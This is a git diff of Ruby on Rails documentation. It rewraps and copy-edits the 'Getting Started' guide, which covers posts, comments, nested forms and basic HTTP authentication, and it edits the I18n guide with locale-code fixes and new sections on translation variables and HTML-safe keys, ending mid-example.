+create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier): +When the user clicks the +Create Post+ button on this form, the browser will +send information back to the +create+ action of the controller (Rails knows to +call the +create+ action because the form is sent with an HTTP POST request; +that's one of the conventions that were mentioned earlier): <ruby> def create @@ -662,15 +956,32 @@ def create end </ruby> -The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After successfully saving the new post, +create+ returns the appropriate format that the user has requested (HTML in our case). It then redirects the user to the resulting post +show+ action and sets a notice to the user that the Post was successfully created. - -If the post was not successfully saved, due to a validation error, then the controller returns the user back to the +new+ action with any error messages so that the user has the chance to fix the error and try again. - -The "Post was successfully created." message is stored inside of the Rails +flash+ hash, (usually just called _the flash_) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." +The +create+ action instantiates a new Post object from the data supplied by the +user on the form, which Rails makes available in the +params+ hash. After +successfully saving the new post, +create+ returns the appropriate format that +the user has requested (HTML in our case). It then redirects the user to the +resulting post +show+ action and sets a notice to the user that the Post was +successfully created. + +If the post was not successfully saved, due to a validation error, then the +controller returns the user back to the +new+ action with any error messages so +that the user has the chance to fix the error and try again. + +The "Post was successfully created." message is stored in the Rails ++flash+ hash (usually just called _the flash_), so that messages can be carried +over to another action, providing the user with useful information on the status +of their request. In the case of +create+, the user never actually sees any page +rendered during the post creation process, because it immediately redirects to +the new +Post+ as soon as Rails saves the record. The Flash carries over a message to +the next action, so that when the user is redirected back to the +show+ action, +they are presented with a message saying "Post was successfully created." h4. Showing an Individual Post -When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action: +When you click the +show+ link for a post on the index page, it will bring you +to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call +to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. +Here's the +show+ action: <ruby> def show @@ -683,7 +994,9 @@ def show end </ruby> -The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+: +The +show+ action uses +Post.find+ to search for a single record in the database +by its id value. After finding the record, Rails displays it by using ++show.html.erb+: <erb> <p class="notice"><%= notice %></p> @@ -710,7 +1023,9 @@ The +show+ action uses +Post.find+ to search for a single record in the database h4. Editing Posts -Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller: +Like creating a new post, editing a post is a two-part process. The first step +is a request to +edit_post_path(@post)+ with a particular post. This calls the ++edit+ action in the controller: <ruby> def edit @@ -718,7 +1033,8 @@ def edit end </ruby> -After finding the requested post, Rails uses the +edit.html.erb+ view to display it: +After finding the requested post, Rails uses the +edit.html.erb+ view to display +it: <erb> <h1>Editing post</h1> @@ -729,9 +1045,12 @@ After finding the requested post, Rails uses the +edit.html.erb+ view to display <%= link_to 'Back', posts_path %> </erb> -Again, as with the +new+ action, the +edit+ action is using the +form+ partial, this time however, the form will do a PUT action to the PostsController and the submit button will display "Update Post" +Again, as with the +new+ action, the +edit+ action is using the +form+ partial. +This time, however, the form will do a PUT action to the +PostsController+ and the +submit button will display "Update Post". -Submitting the form created by this view will invoke the +update+ action within the controller: +Submitting the form created by this view will invoke the +update+ action within +the controller: <ruby> def update @@ -751,11 +1070,17 @@ def update end </ruby> -In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to the +edit+ view to correct them. +In the +update+ action, Rails first uses the +:id+ parameter passed back from +the edit view to locate the database record that's being edited. The ++update_attributes+ call then takes the +post+ parameter (a hash) from the request +and applies it to this record. If all goes well, the user is redirected to the +post's +show+ action. If there are any problems, it redirects back to the +edit+ action to +correct them. h4. Destroying a Post -Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action: +Finally, clicking one of the +destroy+ links sends the associated id to the ++destroy+ action: <ruby> def destroy @@ -763,21 +1088,31 @@ def destroy @post.destroy respond_to do |format| - format.html { redirect_to(posts_url) } - format.json { render :json => {}, :status => :ok } + format.html { redirect_to posts_url } + format.json { head :ok } end end </ruby> -The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model. +The +destroy+ method of an Active Record model instance removes the +corresponding record from the database. After that's done, there isn't any +record to display, so Rails redirects the user's browser to the index action of +the controller. h3. Adding a Second Model -Now that you've seen how a model built with scaffolding looks like, it's time to add a second model to the application. The second model will handle comments on blog posts. +Now that you've seen how a model built with scaffolding looks like, it's time to +add a second model to the application. The second model will handle comments on +blog posts. h4. Generating a Model -Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: +Models in Rails use a singular name, and their corresponding database tables use +a plural name. For the model to hold comments, the convention is to use the name ++Comment+. Even if you don't want to use the entire apparatus set up by +scaffolding, most Rails developers still use generators to make things like +models and controllers. To create the new model, run this command in your +terminal: <shell> $ rails generate model Comment commenter:string body:text post:references @@ -785,8 +1120,8 @@ $ rails generate model Comment commenter:string body:text post:references This command will generate four files: -* +app/models/comment.rb+ - The model -* +db/migrate/20100207235629_create_comments.rb+ - The migration +* +app/models/comment.rb+ - The model. +* +db/migrate/20100207235629_create_comments.rb+ - The migration. * +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. First, take a look at +comment.rb+: @@ -797,9 +1132,12 @@ class Comment < ActiveRecord::Base end </ruby> -This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. +This is very similar to the +post.rb+ model that you saw earlier. The difference +is the line +belongs_to :post+, which sets up an Active Record _association_. +You'll learn a little about associations in the next section of this guide. -In addition to the model, Rails has also made a migration to create the corresponding database table: +In addition to the model, Rails has also made a migration to create the +corresponding database table: <ruby> class CreateComments < ActiveRecord::Migration @@ -817,13 +1155,16 @@ class CreateComments < ActiveRecord::Migration end </ruby> -The +t.references+ line sets up a foreign key column for the association between the two models. And the +add_index+ line sets up an index for this association column. Go ahead and run the migration: +The +t.references+ line sets up a foreign key column for the association between +the two models. And the +add_index+ line sets up an index for this association +column. Go ahead and run the migration: <shell> $ rake db:migrate </shell> -Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see: +Rails is smart enough to only execute the migrations that have not already been +run against the current database, so in this case you will just see: <shell> == CreateComments: migrating ================================================= @@ -834,12 +1175,16 @@ Rails is smart enough to only execute the migrations that have not already been h4. Associating Models -Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: +Active Record associations let you easily declare the relationship between two +models. In the case of comments and posts, you could write out the relationships +this way: -* Each comment belongs to one post -* One post can have many comments +* Each comment belongs to one post. +* One post can have many comments. -In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post: +In fact, this is very close to the syntax that Rails uses to declare this +association. You've already seen the line of code inside the Comment model that +makes each comment belong to a Post: <ruby> class Comment < ActiveRecord::Base @@ -859,13 +1204,20 @@ class Post < ActiveRecord::Base end </ruby> -These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+. +These two declarations enable a good bit of automatic behavior. For example, if +you have an instance variable +@post+ containing a post, you can retrieve all +the comments belonging to that post as an array using +@post.comments+. -TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. +TIP: For more information on Active Record associations, see the "Active Record +Associations":association_basics.html guide. h4. Adding a Route for Comments -As with the +home+ controller, we will need to add a route so that Rails knows where we would like to navigate to see +comments+. Open up the +config/routes.rb+ file again, you will see an entry that was added automatically for +posts+ near the top by the scaffold generator, +resources :posts+, edit it as follows: +As with the +home+ controller, we will need to add a route so that Rails knows +where we would like to navigate to see +comments+. Open up the ++config/routes.rb+ file again. Near the top, you will see the entry for +posts+ +that was added automatically by the scaffold generator: <tt>resources +:posts</tt>. Edit it as follows: <ruby> resources :posts do @@ -873,29 +1225,40 @@ resources :posts do end </ruby> -This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. +This creates +comments+ as a _nested resource_ within +posts+. This is another +part of capturing the hierarchical relationship that exists between posts and +comments. -TIP: For more information on routing, see the "Rails Routing from the Outside In":routing.html guide. +TIP: For more information on routing, see the "Rails Routing from the Outside +In":routing.html guide. h4. Generating a Controller -With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this: +With the model in hand, you can turn your attention to creating a matching +controller. Again, there's a generator for this: <shell> $ rails generate controller Comments </shell> -This creates four files and one empty directory: +This creates six files and one empty directory: -* +app/controllers/comments_controller.rb+ - The controller -* +app/helpers/comments_helper.rb+ - A view helper file -* +test/functional/comments_controller_test.rb+ - The functional tests for the controller -* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper -* +app/views/comments/+ - Views of the controller are stored here +* +app/controllers/comments_controller.rb+ - The controller. +* +app/helpers/comments_helper.rb+ - A view helper file. +* +test/functional/comments_controller_test.rb+ - The functional tests for the controller. +* +test/unit/helpers/comments_helper_test.rb+ - The unit tests for the helper. +* +app/views/comments/+ - Views of the controller are stored here. +* +app/assets/stylesheets/comment.css.scss+ - Cascading style sheet for the controller. +* +app/assets/javascripts/comment.js.coffee+ - CoffeeScript for the controller. -Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our +CommentsController+ is there to provide a method to create comments and delete SPAM comments when they arrive. +Like with any blog, our readers will create their comments directly after +reading the post, and once they have added their comment, will be sent back to +the post show page to see their comment now listed. Due to this, our ++CommentsController+ is there to provide a method to create comments and delete +spam comments when they arrive. -So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+) to let us make a new comment: +So first, we'll wire up the Post show template +(+/app/views/posts/show.html.erb+) to let us make a new comment: <erb> <p class="notice"><%= notice %></p> @@ -934,7 +1297,8 @@ So first, we'll wire up the Post show template (+/app/views/posts/show.html.erb+ <%= link_to 'Back to Posts', posts_path %> | </erb> -This adds a form on the Post show page that creates a new comment, which will call the +CommentsController+ +create+ action, so let's wire that up: +This adds a form on the +Post+ show page that creates a new comment by +calling the +CommentsController+ +create+ action. Let's wire that up: <ruby> class CommentsController < ApplicationController @@ -946,11 +1310,21 @@ class CommentsController < ApplicationController end </ruby> -You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached, thus the initial find action to the Post model to get the post in question. +You'll see a bit more complexity here than you did in the controller for posts. +That's a side-effect of the nesting that you've set up. Each request for a +comment has to keep track of the post to which the comment is attached, thus the +initial call to the +find+ method of the +Post+ model to get the post in question. -In addition, the code takes advantage of some of the methods available for an association. We use the +create+ method on +@post.comments+ to create and save the comment. This will automatically link the comment so that it belongs to that particular post. +In addition, the code takes advantage of some of the methods available for an +association. We use the +create+ method on +@post.comments+ to create and save +the comment. This will automatically link the comment so that it belongs to that +particular post. -Once we have made the new comment, we send the user back to the original post using the +post_path(@post)+ helper. As we have already seen, this calls the +show+ action of the +PostsController+ which in turn renders the +show.html.erb+ template. This is where we want the comment to show, so let's add that to the +app/views/posts/show.html.erb+. +Once we have made the new comment, we send the user back to the original post +using the +post_path(@post)+ helper. As we have already seen, this calls the ++show+ action of the +PostsController+ which in turn renders the +show.html.erb+ +template. This is where we want the comment to show, so let's add that to the ++app/views/posts/show.html.erb+. <erb> <p class="notice"><%= notice %></p> @@ -1004,15 +1378,20 @@ Once we have made the new comment, we send the user back to the original post us <%= link_to 'Back to Posts', posts_path %> | </erb> -Now you can add posts and comments to your blog and have them show up in the right places. +Now you can add posts and comments to your blog and have them show up in the +right places. h3. Refactoring -Now that we have Posts and Comments working, if we take a look at the +app/views/posts/show.html.erb+ template, it's getting long and awkward. We can use partials to clean this up. +Now that we have posts and comments working, take a look at the ++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can +use partials to clean it up. h4. Rendering Partial Collections -First we will make a comment partial to extract showing all the comments for the post. Create the file +app/views/comments/_comment.html.erb+ and put the following into it: +First we will make a comment partial to extract showing all the comments for the +post. Create the file +app/views/comments/_comment.html.erb+ and put the +following into it: <erb> <p> @@ -1026,7 +1405,8 @@ First we will make a comment partial to extract showing all the comments for the </p> </erb> -Then in the +app/views/posts/show.html.erb+ you can change it to look like the following: +Then you can change +app/views/posts/show.html.erb+ to look like the +following: <erb> <p class="notice"><%= notice %></p> @@ -1070,11 +1450,16 @@ Then in the +app/views/posts/show.html.erb+ you can change it to look like the f <%= link_to 'Back to Posts', posts_path %> | </erb> -This will now render the partial in +app/views/comments/_comment.html.erb+ once for each comment that is in the +@post.comments+ collection. As the +render+ method iterates over the <tt>@post.comments</tt> collection, it assigns each comment to a local variable named the same as the partial, in this case +comment+ which is then available in the partial for us to show. +This will now render the partial in +app/views/comments/_comment.html.erb+ once +for each comment that is in the +@post.comments+ collection. As the +render+ +method iterates over the <tt>@post.comments</tt> collection, it assigns each +comment to a local variable named the same as the partial, in this case ++comment+ which is then available in the partial for us to show. h4. Rendering a Partial Form -Lets also move that new comment section out to it's own partial, again, you create a file +app/views/comments/_form.html.erb+ and in it you put: +Let us also move that new comment section out to its own partial. Again, you +create a file +app/views/comments/_form.html.erb+ containing: <erb> <%= form_for([@post, @post.comments.build]) do |f| %> @@ -1124,15 +1509,22 @@ Then you make the +app/views/posts/show.html.erb+ look like the following: <%= link_to 'Back to Posts', posts_path %> | </erb> -The second render just defines the partial template we want to render, <tt>comments/form</tt>, Rails is smart enough to spot the forward slash in that string and realize that you want to render the <tt>_form.html.erb</tt> file in the <tt>app/views/comments</tt> directory. +The second render just defines the partial template we want to render, +<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that +string and realize that you want to render the <tt>_form.html.erb</tt> file in +the <tt>app/views/comments</tt> directory. -The +@post+ object is available to any partials rendered in the view because we defined it as an instance variable. +The +@post+ object is available to any partials rendered in the view because we +defined it as an instance variable. h3. Deleting Comments -Another important feature on a blog is being able to delete SPAM comments. To do this, we need to implement a link of some sort in the view and a +DELETE+ action in the +CommentsController+. +Another important feature of a blog is being able to delete spam comments. To do +this, we need to implement a link of some sort in the view and a +DELETE+ action +in the +CommentsController+. -So first, let's add the delete link in the +app/views/comments/_comment.html.erb+ partial: +So first, let's add the delete link in the ++app/views/comments/_comment.html.erb+ partial: <erb> <p> @@ -1152,7 +1544,10 @@ So first, let's add the delete link in the +app/views/comments/_comment.html.erb </p> </erb> -Clicking this new "Destroy Comment" link will fire off a <tt>DELETE /posts/:id/comments/:id</tt> to our +CommentsController+, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller: +Clicking this new "Destroy Comment" link will fire off a <tt>DELETE +/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use +this to find the comment we want to delete, so let's add a destroy action to our +controller: <ruby> class CommentsController < ApplicationController @@ -1173,12 +1568,17 @@ class CommentsController < ApplicationController end </ruby> -The +destroy+ action will find the post we are looking at, locate the comment within the <tt>@post.comments</tt> collection, and then remove it from the database and send us back to the show action for the post. +The +destroy+ action will find the post we are looking at, locate the comment +within the <tt>@post.comments</tt> collection, and then remove it from the +database and send us back to the show action for the post. h4. Deleting Associated Objects -If you delete a post then its associated comments will also need to be deleted. Otherwise they would simply occupy space in the database. Rails allows you to use the +dependent+ option of an association to achieve this. Modify the Post model, +app/models/post.rb+, as follows: +If you delete a post then its associated comments will also need to be deleted. +Otherwise they would simply occupy space in the database. Rails allows you to +use the +dependent+ option of an association to achieve this. Modify the Post +model, +app/models/post.rb+, as follows: <ruby> class Post < ActiveRecord::Base @@ -1191,18 +1591,25 @@ end h3. Security -If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments. +If you were to publish your blog online, anybody would be able to add, edit and +delete posts or delete comments. -Rails provides a very simple HTTP authentication system that will work nicely in this situation. +Rails provides a very simple HTTP authentication system that will work nicely in +this situation. -In the +PostsController+ we need to have a way to block access to the various actions if the person is not authenticated, here we can use the Rails <tt>http_basic_authenticate_with</tt> method, allowing access to the requested action if that method allows it. +In the +PostsController+ we need to have a way to block access to the various +actions if the person is not authenticated, here we can use the Rails +<tt>http_basic_authenticate_with</tt> method, allowing access to the requested +action if that method allows it. -To use the authentication system, we specify it at the top of our +PostsController+, in this case, we want the user to be authenticated on every action, except for +index+ and +show+, so we write that: +To use the authentication system, we specify it at the top of our ++PostsController+, in this case, we want the user to be authenticated on every +action, except for +index+ and +show+, so we write that: <ruby> class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show] # GET /posts # GET /posts.json @@ -1212,7 +1619,8 @@ class PostsController < ApplicationController # snipped for brevity </ruby> -We also only want to allow authenticated users to delete comments, so in the +CommentsController+ we write: +We also only want to allow authenticated users to delete comments, so in the ++CommentsController+ we write: <ruby> class CommentsController < ApplicationController @@ -1224,16 +1632,20 @@ class CommentsController < ApplicationController # snipped for brevity </ruby> -Now if you try to create a new post, you will be greeted with a basic HTTP Authentication challenge +Now if you try to create a new post, you will be greeted with a basic HTTP +Authentication challenge !images/challenge.png(Basic HTTP Authentication Challenge)! - h3. Building a Multi-Model Form -Another feature of your average blog is the ability to tag posts. To implement this feature your application needs to interact with more than one model on a single form. Rails offers support for nested forms. +Another feature of your average blog is the ability to tag posts. To implement +this feature your application needs to interact with more than one model on a +single form. Rails offers support for nested forms. -To demonstrate this, we will add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags: +To demonstrate this, we will add support for giving each post multiple tags, +right in the form where you create the post. First, create a new model to hold +the tags: <shell> $ rails generate model tag name:string post:references @@ -1245,7 +1657,9 @@ Again, run the migration to create the database table: $ rake db:migrate </shell> -Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to edit tags via posts: +Next, edit the +post.rb+ file to create the other side of the association, and +to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to +edit tags via posts: <ruby> class Post < ActiveRecord::Base @@ -1261,7 +1675,10 @@ class Post < ActiveRecord::Base end </ruby> -The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in. +The +:allow_destroy+ option on the nested attribute declaration tells Rails to +display a "remove" checkbox on the view that you'll build shortly. The ++:reject_if+ option prevents saving new tags that do not have any attributes +filled in. We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: @@ -1300,13 +1717,20 @@ We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: <% end %> </erb> -Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to make it easier to understand what is going on. +Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to +make it easier to understand what is going on. -This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable +form+ in the partial to refer to the +post_form+ object. +This example shows another option of the render helper, being able to pass in +local variables, in this case, we want the local variable +form+ in the partial +to refer to the +post_form+ object. -We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make sure there is a new tag ready to have it's name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create. +We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make +sure there is a new tag ready to have its name filled in by the user. If you do +not build the new tag, then the form will not appear as there is no new Tag +object ready to create. -Now create the folder <tt>app/views/tags</tt> and make a file in there called <tt>_form.html.erb</tt> which contains the form for the tag: +Now create the folder <tt>app/views/tags</tt> and make a file in there called +<tt>_form.html.erb</tt> which contains the form for the tag: <erb> <%= form.fields_for :tags do |tag_form| %> @@ -1323,7 +1747,8 @@ Now create the folder <tt>app/views/tags</tt> and make a file in there called <t <% end %> </erb> -Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to show our tags. +Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to +show our tags. <erb> <p class="notice"><%= notice %></p> @@ -1359,13 +1784,18 @@ Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to sho <%= link_to 'Back to Posts', posts_path %> | </erb> -With these changes in place, you'll find that you can edit a post and its tags directly on the same view. +With these changes in place, you'll find that you can edit a post and its tags +directly on the same view. -However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is awkward, we could handle this by making a helper method. +However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is +awkward, we could handle this by making a helper method. h3. View Helpers -View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable code for views. In our case, we want a method that strings a bunch of objects together using their name attribute and joining them with a comma. As this is for the Post show template, we put it in the PostsHelper. +View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable +code for views. In our case, we want a method that strings a bunch of objects +together using their name attribute and joining them with a comma. As this is +for the Post show template, we put it in the PostsHelper. Open up <tt>app/helpers/posts_helper.rb</tt> and add the following: @@ -1377,7 +1807,8 @@ module PostsHelper end </erb> -Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like this: +Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like +this: <erb> <p class="notice"><%= notice %></p> @@ -1415,7 +1846,10 @@ Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like h3. What's Next? -Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: +Now that you've seen your first Rails application, you should feel free to +update it and experiment on your own. But you don't have to do everything +without help. As you need assistance getting up and running with Rails, feel +free to consult these support resources: * The "Ruby on Rails guides":index.html * The "Ruby on Rails Tutorial":http://railstutorial.org/book @@ -1430,9 +1864,18 @@ Rails also comes with built-in help that you can generate using the rake command h3. Configuration Gotchas -The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native data into UTF-8, but this doesn't always work reliably, so you're better off ensuring that all external data is UTF-8. +The easiest way to work with Rails is to store all external data as UTF-8. If +you don't, Ruby libraries and Rails will often be able to convert your native +data into UTF-8, but this doesn't always work reliably, so you're better off +ensuring that all external data is UTF-8. -If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like "ü" appearing instead of "ü". Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected. +If you have made a mistake in this area, the most common symptom is a black +diamond with a question mark inside appearing in the browser. Another common +symptom is characters like "ü" appearing instead of "ü". Rails takes a number +of internal steps to mitigate common causes of these problems that can be +automatically detected and corrected. However, if you have external data that is +not stored as UTF-8, it can occasionally result in these kinds of issues that +cannot be automatically detected by Rails and corrected. Two very common sources of data that are not UTF-8: * Your text editor: Most text editors (such as Textmate), default to saving files as @@ -1447,24 +1890,3 @@ Two very common sources of data that are not UTF-8: is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database. - -h3. Changelog - -* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com -* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com -* August 30, 2010: Minor editing after Rails 3 release by "Joost Baaij":http://www.spacebabies.nl -* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com -* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com -* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com -* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil -* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com -* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil -* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil -* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 608643b3d3..2d4cc13571 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -1,4 +1,4 @@ -lh2. Rails Internationalization (I18n) API +h2. Rails Internationalization (I18n) API The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + 